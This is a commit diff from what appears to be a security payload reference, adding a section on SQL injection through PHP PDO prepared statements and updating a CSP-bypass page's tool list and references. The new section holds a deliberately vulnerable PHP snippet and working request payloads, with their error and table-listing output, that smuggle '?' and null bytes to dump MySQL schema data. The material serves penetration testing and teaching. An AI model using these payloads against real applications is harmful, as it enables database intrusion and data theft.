Skip to content

Commit ac73b0c

Browse files
committed
PDO Prepared Statements
1 parent 61fa002 commit ac73b0c

File tree

2 files changed

+81
-6
lines changed

2 files changed

+81
-6
lines changed

SQL Injection/README.md

Lines changed: 74 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@
2929
* [Polyglot Injection](#polyglot-injection)
3030
* [Routed Injection](#routed-injection)
3131
* [Second Order SQL Injection](#second-order-sql-injection)
32+
* [PDO Prepared Statements](#pdo-prepared-statements)
3233
* [Generic WAF Bypass](#generic-waf-bypass)
3334
* [White Spaces](#white-spaces)
3435
* [No Comma Allowed](#no-comma-allowed)
@@ -365,6 +366,77 @@ password="P@ssw0rd"
365366

366367
Since you are inserting your payload in the database for a later use, any other type of injections can be used UNION, ERROR, BLIND, STACKED, etc.
367368

369+
## PDO Prepared Statements
370+
371+
PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more.
372+
373+
PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query.
374+
375+
**Requirements**:
376+
377+
* DMBS
378+
* **MySQL** is vulnerable by default.
379+
* **Postgres** is not vulnerable by default, unless the emulation is turned on with `PDO::ATTR_EMULATE_PREPARES => true`.
380+
* **SQLite** is not vulnerable to this attack.
381+
382+
* SQL injection anywhere inside a PDO statement: `$pdo->prepare("SELECT $INJECT_SQL_HERE...")`.
383+
* PDO used for another SQL parameter, either with `?` or `:parameter`.
384+
385+
```php
386+
$pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS);
387+
$col = '`' . str_replace('`', '``', $_GET['col']) . '`';
388+
389+
$stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?");
390+
$stmt->execute([$_GET['name']]);
391+
// or
392+
$stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name");
393+
$stmt->execute(['name' => $_GET['name']]);
394+
```
395+
396+
**Methodology**:
397+
398+
**NOTE**: In PHP 8.3 and lower, the injection happens even without a null byte (`\0`). The attacker only needs to smuggle a "`:`" or a "`?`".
399+
400+
* Detect the SQLi using `?#\0`: `GET /index.php?col=%3f%23%00&name=anything`
401+
402+
```ps1
403+
# 1st Payload: ?#\0
404+
# 2nd Payload: anything
405+
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '`'anything'#' at line 1
406+
```
407+
408+
* Force a select \`'x\` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with `;#`: `GET /index.php?col=%3f%23%00&name=x%60;%23`
409+
410+
```ps1
411+
# 1st Payload: ?#\0
412+
# 2nd Payload: x`;#
413+
Column not found: 1054 Unknown column ''x' in 'SELECT'
414+
```
415+
416+
* Inject in second parameter the payload. `GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523`
417+
418+
```ps1
419+
# 1st Payload: \?#\0
420+
# 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23
421+
ALL_PLUGINS
422+
APPLICABLE_ROLES
423+
CHARACTER_SETS
424+
CHECK_CONSTRAINTS
425+
COLLATIONS
426+
COLLATION_CHARACTER_SET_APPLICABILITY
427+
COLUMNS
428+
```
429+
430+
* Final SQL queries
431+
432+
```SQL
433+
-- Before $pdo->prepare
434+
SELECT `\?#\0` FROM animals WHERE name = ?
435+
436+
-- After $pdo->prepare
437+
SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ?
438+
```
439+
368440
## Generic WAF Bypass
369441

370442
### White Spaces
@@ -461,12 +533,13 @@ Bypass using keywords case insensitive or an equivalent operator.
461533

462534
## References
463535

536+
* [A Novel Technique for SQL Injection in PDO’s Prepared Statements - Adam Kues - July 21, 2025](https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements)
464537
* [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/)
465538
* [Implement a Blind Error-Based SQLMap payload for SQLite - soka - August 24, 2023](https://sokarepo.github.io/web/2023/08/24/implement-blind-sqlite-sqlmap.html)
466539
* [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
467540
* [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://sqlwiki.netspi.com/)
468541
* [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
469542
* [SQLi Cheatsheet - NetSparker - March 19, 2022](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
470-
* [SQLi in INSERT worse than SELECT - Mathias Karlsson - Feb 14, 2017](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
543+
* [SQLi in INSERT worse than SELECT - Mathias Karlsson - February 14, 2017](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
471544
* [SQLi Optimization and Obfuscation Techniques - Roberto Salgado - 2013](https://web.archive.org/web/20221005232819/https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf)
472545
* [The SQL Injection Knowledge base - Roberto Salgado - May 29, 2013](https://websec.ca/kb/sql_injection)

XSS Injection/4 - CSP Bypass.md

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
55
## Summary
66

7-
- [CSP Detection](#csp-detection)
7+
- [Tools](#tools)
88
- [Bypass CSP using JSONP](#bypass-csp-using-jsonp)
99
- [Bypass CSP default-src](#bypass-csp-default-src)
1010
- [Bypass CSP inline eval](#bypass-csp-inline-eval)
@@ -16,9 +16,10 @@
1616
- [Labs](#labs)
1717
- [References](#references)
1818

19-
## CSP Detection
19+
## Tools
2020

21-
Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://websecblog.com/vulns/google-csp-evaluator/)
21+
- [gmsgadget.com](https://gmsgadget.com/) - GMSGadget (Give Me a Script Gadget) is a collection of JavaScript gadgets that can be used to bypass XSS mitigations such as Content Security Policy (CSP) and HTML sanitizers like DOMPurify.
22+
- [csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.
2223

2324
## Bypass CSP using JSONP
2425

@@ -173,5 +174,6 @@ Source: [@pilvar222](https://twitter.com/pilvar222/status/1784618120902005070)
173174
## References
174175
175176
- [Airbnb – When Bypassing JSON Encoding, XSS Filter, WAF, CSP, and Auditor turns into Eight Vulnerabilities - Brett Buerhaus (@bbuerhaus) - March 8, 2017](https://buer.haus/2017/03/08/airbnb-when-bypassing-json-encoding-xss-filter-waf-csp-and-auditor-turns-into-eight-vulnerabilities/)
176-
- [D1T1 - So We Broke All CSPs - Michele Spagnuolo and Lukas Weichselbaum - 27 Jun 2017](http://web.archive.org/web/20170627043828/https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf)
177-
- [Making an XSS triggered by CSP bypass on Twitter - wiki.ioin.in(查看原文) - 2020-04-06](https://www.buaq.net/go-25883.html)
177+
- [D1T1 - So We Broke All CSPs - Michele Spagnuolo and Lukas Weichselbaum - June 27, 2017](http://web.archive.org/web/20170627043828/https://conference.hitb.org/hitbsecconf2017ams/materials/D1T1%20-%20Michele%20Spagnuolo%20and%20Lukas%20Wilschelbaum%20-%20So%20We%20Broke%20All%20CSPS.pdf)
178+
- [How to use Google’s CSP Evaluator to bypass CSP - Thomas Orlita - September 9, 2018](https://websecblog.com/vulns/google-csp-evaluator/)
179+
- [Making an XSS triggered by CSP bypass on Twitter - wiki.ioin.in(查看原文) - April 6, 2020](https://www.buaq.net/go-25883.html)

0 commit comments

Comments
 (0)